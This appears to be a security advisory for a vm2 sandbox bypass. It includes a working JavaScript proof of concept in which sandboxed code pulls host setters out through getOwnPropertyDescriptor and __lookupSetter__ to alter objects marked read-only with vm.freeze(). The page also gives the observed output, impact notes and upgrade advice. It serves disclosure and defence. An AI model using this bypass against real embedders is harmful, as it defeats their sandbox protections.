CVE-2026-92949: vm2 3.9.6 before 3.11.7 Sandbox Bypass via Accessor Descriptor
Summary Untrusted JavaScript running inside new VM().run() / new NodeVM().run() can bypass vm.freeze() / vm.readonly() and mutate a host object the embedder explicitly marked read-only - the documented contract is "prevent sandboxed scripts from adding, changing, or deleting properties". If the frozen host object has an accessor (get/set) own-property, the sandbox can read the host setter back out via Object.getOwnPropertyDescriptor() and call it directly; the call lands in BaseHandler.apply which unwraps the readonly proxy to the raw host object and runs the host setter against it. No non-default VM/NodeVM options are required; the only precondition is that the embedder froze an object whose shape includes an accessor property. A second route to the same sink exists via lookupSetter.
PoC js // poc.js 'use strict'; const { VM } = require('vm2');
let level = 'safe'; const hostConfig = Object.defineProperty({}, 'level', { get() { return level; }, set(v) { level = String(v); }, enumerable: true, configurable: true, });
const vm = new VM(); vm.freeze(hostConfig, 'cfg');
// Baseline - documented barriers hold: vm.run(cfg.level = 'via-set';); vm.run(try { Object.defineProperty(cfg, 'level', {value: 'via-dP'}); } catch (e) {}); console.log('after [[Set]]/defineProperty:', level); // → "safe"
// Bypass - sandbox mutates host via accessor descriptor: vm.run( const d = Object.getOwnPropertyDescriptor(cfg, 'level'); d.set.call(cfg, 'PWNED'); ); console.log('after getOwnPropertyDescriptor→set.call:', level); // → "PWNED"
// Variant - same sink via lookupSetter: vm.run(cfg.lookupSetter('level').call(cfg, 'PWNED-2');); console.log('after lookupSetter:', level); // → "PWNED-2"
sh node poc.js
Observed output:
after [[Set]]/defineProperty: safe after getOwnPropertyDescriptor→set.call: PWNED after lookupSetter: PWNED-2
The first line shows ReadOnlyHandler's documented traps work; the next two show the sandbox mutated the host-side level despite vm.freeze().
Impact A sandboxed script can mutate any accessor-backed property on any host object the embedder exposed via vm.freeze() / vm.readonly(), defeating the read-only contract. Data properties are not affected (ReadOnlyHandler.set / .defineProperty block those correctly). This is not a generic sandbox escape on its own; severity depends on what the embedder froze. If a frozen object's setter feeds into host control flow (e.g. set scriptPath(v), set handler(fn)), this becomes a stepping-stone to host code execution in that embedder.
Preconditions: embedder calls vm.freeze()/vm.readonly() on a host object that has at least one accessor own-property. Default VM/NodeVM options otherwise. Blast radius: integrity of the specific frozen host object(s); downstream impact is embedder-defined. Persistence: as persistent as the host object (typically process-lifetime).
Other sources
vm2 versions from 3.9.6 before 3.11.7 fail to properly restrict access to accessor properties on frozen objects, allowing sandboxed scripts to bypass vm.freeze() and vm.readonly() protections. Attackers can use Object.getOwnPropertyDescriptor() or lookupSetter() to extract and invoke host object setters directly, mutating properties the embedder explicitly marked read-only.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/vm2to a version that resolves this vulnerability.Fixed in 3.11.7 - Upgrade
Upgrade
vm2to a version that resolves this vulnerability.Fixed in 3.11.7
Event History
Frequently Asked Questions
Who is exposed to this issue?
Applications using npm/vm2 versions from 3.9.6 before 3.11.7 are exposed when they run untrusted or attacker-controlled scripts in a vm2 sandbox and provide those scripts access to frozen or read-only host objects with accessor properties.
What does an attacker need to exploit it?
An attacker needs the ability to execute a script inside the affected vm2 sandbox. The script can use Object.getOwnPropertyDescriptor() or __lookupSetter__() to obtain and directly invoke a host object's setter.
What is the security impact?
The attacker can mutate properties that the embedder explicitly attempted to protect with vm.freeze() or vm.readonly(). The provided vector indicates integrity impact without confidentiality or availability impact.
How can I determine whether my application is affected?
Check whether your application uses npm/vm2 in the affected version range and exposes host objects to sandboxed code through vm.freeze() or vm.readonly(). Review those objects for accessor properties, particularly setters, that sandboxed scripts could inspect.